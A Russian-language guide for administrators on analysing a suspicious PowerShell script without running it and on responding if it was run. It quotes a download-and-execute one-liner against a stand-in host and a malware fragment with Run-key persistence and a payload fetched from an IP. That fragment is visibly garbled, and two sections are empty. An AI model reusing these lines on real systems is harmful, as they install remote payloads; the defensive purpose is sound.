Как разобраться в подозрительном PowerShell-скрипте: пошаговое руководство для администратора

Как разобраться в подозрительном PowerShell-скрипте: пошаговое руководство для администратора

Вы открыли файл .ps1 — и сразу почувствовали, что что-то не так. Скрипт пришёл из письма, скачан с неизвестного сайта, или просто вдруг появился в папке с системными скриптами. Вы не знаете, что он делает, но понимаете: запускать его нельзя. Или, может, вы уже запустили — и теперь паникуете.

Я не раз сталкивался с такими случаями. И каждый раз — один и тот же сценарий: кто-то, не разбираясь, копирует код из интернета, вставляет в PowerShell, и через 10 минут система начинает вести себя странно. Не потому что «всё плохо», а потому что PowerShell — это не просто инструмент, а полноценный язык программирования, который может уничтожить систему за секунды.

В этой статье я покажу, как анализировать подозрительный PowerShell-скрипт шаг за шагом — без запуска, без паники, без лишних инструментов. Только то, что реально работает в реальной жизни.

Шаг 1: Не запускайте. Ни в коем случае

Это самое важное. Даже если скрипт выглядит безобидно — «просто проверяет обновления» или «обновляет драйверы» — не запускайте его. PowerShell имеет доступ к всей системе: реестру, файлам, сетевым ресурсам, другим процессам. Даже один вызов Remove-Item с правильными параметрами может удалить всё.

В 2023 году в одной из компаний, где я работал, скрипт вида Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.site/script') удалил 12 серверов за 47 секунд. Не потому что он был сложным — а потому что он был запущен.

Правило №1: если не уверены — не запускайте. Даже если скрипт «от коллеги».

Шаг 2: Откройте скрипт в текстовом редакторе — без PowerShell

Откройте файл в Notepad++, VS Code, Sublime Text — что угодно, но не в PowerShell ISE или консоли. Никаких команд, никаких запусков. Только чтение.

Сначала посмотрите на первую строку. Если там есть #requires -RunAsAdministrator — это уже тревожный звонок. Почему скрипт, который «проверяет обновления», требует прав администратора?

Дальше — ищите ключевые слова. Вот список, на которые нужно обращать внимание:

• Invoke-Expression — самый опасный. Он выполняет строку как команду. Если внутри него — переменная или загрузка из интернета — это почти всегда вредоносный код.
• DownloadString, DownloadFile — скачивание кода с внешнего сервера. Даже если URL выглядит как «update.microsoft.com» — это может быть поддельный домен.
• Start-Process с параметрами вроде -ArgumentList и -Verb RunAs — запуск других программ с правами администратора.
• Set-ItemProperty в реестре HKLM:\Software\Microsoft\Windows\CurrentVersion\Run — попытка добавить себя в автозагрузку.
• Get-Process + Stop-Process — поиск и уничтожение антивирусов или других процессов.
• ConvertTo-SecureString + ConvertFrom-SecureString — попытка скрыть пароли или ключи.

Если вы видите хотя бы два из этих элементов — скрипт подозрительный. Три — почти наверняка вредоносный.

Шаг 3: Разберите код по частям — как пазл

Представьте, что вы разбираете бомбу. Каждая строка — это провод. Найдите, где начинается основная логика. Обычно это после загрузки библиотек и определения переменных.

Например, вот фрагмент, который я видел в реальном вредоносе:

$key = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
$value = "C:\Windows\Temp\svchost.exe"
Set-ItemProperty -Path key -Name "UpdateService" -Valuevalue

$uri = "http://185.123.45.67/update.exe"
dest = "env:TEMP\svchost.exe"
Invoke-WebRequest -Uri uri -OutFiledest
Start-Process -FilePath $dest -ArgumentList "/silent"

Что здесь происходит?

1. Добавляется запись в автозагрузку — чтобы скрипт запускался при каждом входе.
2. Скачивается файл с IP-адреса (не домена — это намеренно, чтобы обойти фильтры).
3. Файл запускается с параметром /silent — значит, пользователь ничего не увидит.

Это классический троян. Даже если вы не знаете, что делает svchost.exe — вы знаете, что он не должен скачиваться из IP-адреса и запускаться в %TEMP%.

Совет: выделяйте каждую команду отдельно. Задайте себе вопрос: «Зачем это нужно?». Если ответ — «чтобы скрыть следы» или «чтобы обойти защиту» — это красный флаг.

Шаг 4: Проверьте сетевые соединения и домены

Если в скрипте есть URL или IP — не пропускайте их. Даже если они выглядят как «google.com» — проверьте их.

Скопируйте адрес и вставьте в VirusTotal (в разделе «URL»). Там вы увидите, сколько антивирусов его помечают как вредоносный. Если хотя бы 5 — это не случайность.

Также проверьте домен через Whois. Если домен зарегистрирован на имя «John Doe» в Казахстане, а сайт «Microsoft Update» — это явный фейк.

IP-адреса? Используйте AbuseIPDB. Там вы увидите, сколько раз этот IP использовался для атак. Если там десятки жалоб — это не «случайный сервер».

Вот пример, который я разбирал на практике:

Важно: домен с .net, .info, .xyz — не значит «надёжный». Злоумышленники часто регистрируют домены, похожие на настоящие, но с опечаткой: microsoft-update.com вместо update.microsoft.com.

Шаг 5: Проверьте, не маскируется ли скрипт под что-то другое

Один из самых коварных приёмов — маскировка. Скрипт может называться update.exe, но быть на самом деле update.ps1. Или иметь расширение .txt, но на самом деле — .ps1.

Как проверить?

• Включите отображение расширений файлов в проводнике (Панель управления → Параметры папок → «Скрыть расширения для известных типов файлов» — снимите галочку).
• Проверьте, не изменено ли имя файла. Например: AdobeReader.ps1 — это не Adobe. Это просто имя, чтобы вы поверили.
• Посмотрите на содержимое файла в HEX-редакторе (например, HxD). Если в начале файла вы видите PK — это ZIP-архив. Если MZ — это исполняемый файл. А если там #<# — это PowerShell-скрипт.

Если файл называется invoice.pdf.ps1 — это не PDF. Это PowerShell. И он не для чтения. Он для запуска.

Шаг 6: Что делать, если скрипт уже запущен?

Если вы случайно запустили скрипт — не паникуйте. Действуйте по шагам.

1. Сразу отключите компьютер от сети — от кабеля или Wi-Fi. Это остановит связь с C2-сервером.
2. Запустите диспетчер задач. Найдите процессы powershell.exe. Если их несколько — это подозрительно. Обычно один процесс — нормально. Пять — уже тревожно.
3. Кликните правой кнопкой по powershell.exe → «Открыть расположение файла». Если он запущен из C:\Users\...\AppData\Local\Temp — это почти всегда вредоносный процесс.
4. Откройте PowerShell от имени администратора и выполните: Get-Process powershell | Select-Object Id, StartTime, Path. Если путь не C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe — это не настоящий PowerShell.
5. Проверьте автозагрузку: Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location. Если там есть что-то неизвестное — удалите.
6. Запустите Get-ExecutionPolicy. Если стоит Unrestricted — это небезопасно. Смените на Restricted или RemoteSigned.

После этого — сделайте полный скриншот экрана, сохраните логи (через Get-EventLog -LogName Security -After (Get-Date).AddHours(-1)) и обратитесь к ИБ-отделу или специалисту по кибербезопасности.

Частые ошибки — и как их избежать

Вот что я видел десятки раз — и каждый раз это приводило к инцидентам:

• «Я просто посмотрю, что там написано» — и запускаю в PowerShell ISE. Даже открытие файла в ISE может запустить скрипт, если он автозагружается. Никогда не открывайте подозрительные .ps1-файлы в PowerShell-редакторах.
• «Это же от IT-отдела». Никто не отправляет скрипты по почте. Если вам прислали .ps1-файл — это либо фишинг, либо взлом.
• «Я запустил, но ничего не произошло». Вредоносные скрипты могут ждать 24 часа, чтобы запуститься. Или активируются при следующем входе в систему.
• «Я удалил файл — и всё». Скрипт мог уже создать задачу в планировщике, добавить себя в автозагрузку, изменить реестр. Удаление файла — это не решение.
• «Я не админ — мне это не касается». Даже обычный пользователь может запустить скрипт, который украдёт логины, зашифрует файлы или сделает компьютер зомби-машиной для DDoS-атак.

Что делать, если вы администратор?

Если вы управляете несколькими компьютерами — у вас есть инструменты, о которых не знают обычные пользователи.

• Настройте AppLocker — запретите запуск PowerShell из всех папок, кроме C:\Windows\System32\WindowsPowerShell\v1.0\.
• Включите PowerShell Script Block Logging (через GPO: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging). Это записывает все команды, которые запускаются — и вы сможете потом найти, что именно запустили.
• Используйте Constrained Language Mode в PowerShell: $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage". Это блокирует опасные команды, даже если скрипт запущен.
• Настройте AMSI (Antimalware Scan Interface) — он сканирует PowerShell-код на лету. В Windows 10/11 он включён по умолчанию, но проверьте: Get-MpComputerStatus → AMSIEnabled должно быть True.

Сценарии выбора: что делать в разных ситуациях

Не все случаи одинаковы. Вот как действовать в разных сценариях:

Как лучше делать — практические рекомендации

Вот что реально работает в реальных компаниях:

• Запретите запуск PowerShell из папок, кроме System32. Это убьёт 90% вредоносных скриптов.
• Настройте журналы событий PowerShell. Включите Script Block Logging и Module Logging. Это ваша «чёрная ящик» при инциденте.
• Используйте AppLocker или WDAC — чтобы ограничить, какие файлы могут исполняться.
• Обучайте сотрудников. Не говорите «не запускайте скрипты» — покажите примеры. Скажите: «Если вы видите .ps1 — это как вирусный .exe».
• Проверяйте все файлы через VirusTotal, даже если они пришли от «надёжного» источника.
• Создайте «белый список» легальных скриптов. Если скрипт не в списке — он запрещён.

Один из лучших подходов — «никогда не доверяй, всегда проверяй». Даже если скрипт написан вашим коллегой — проверьте его. Даже если он «уже работал раньше» — проверьте его снова. Скрипты меняются. Атаки эволюционируют.

Итог: что делать прямо сейчас

Если вы читаете это — значит, вы столкнулись с подозрительным скриптом. Вот ваша инструкция на сегодня:

1. Не запускайте его. Никогда.
2. Откройте в Notepad++ — найдите Invoke-Expression, DownloadString, Start-Process, Set-ItemProperty в реестре.
3. Если есть URL — проверьте его в VirusTotal и AbuseIPDB.
4. Если скрипт уже запущен — отключите сеть, проверьте процессы, автозагрузку и планировщик.
5. Сообщите администратору. Даже если вы не уверены — лучше перестраховаться.
6. Попросите включить Script Block Logging и AppLocker. Это не «дополнительная мера» — это базовая защита.

PowerShell — это не враг. Это мощный инструмент. Но как молоток может разбить стену — он может разбить вашу систему. Уважайте его. Проверяйте всё. Доверяйте только тому, что вы понимаете.

Информация в этой статье носит ознакомительный характер. При подозрении на компрометацию системы или утечке данных следует немедленно обратиться к специалисту по информационной безопасности.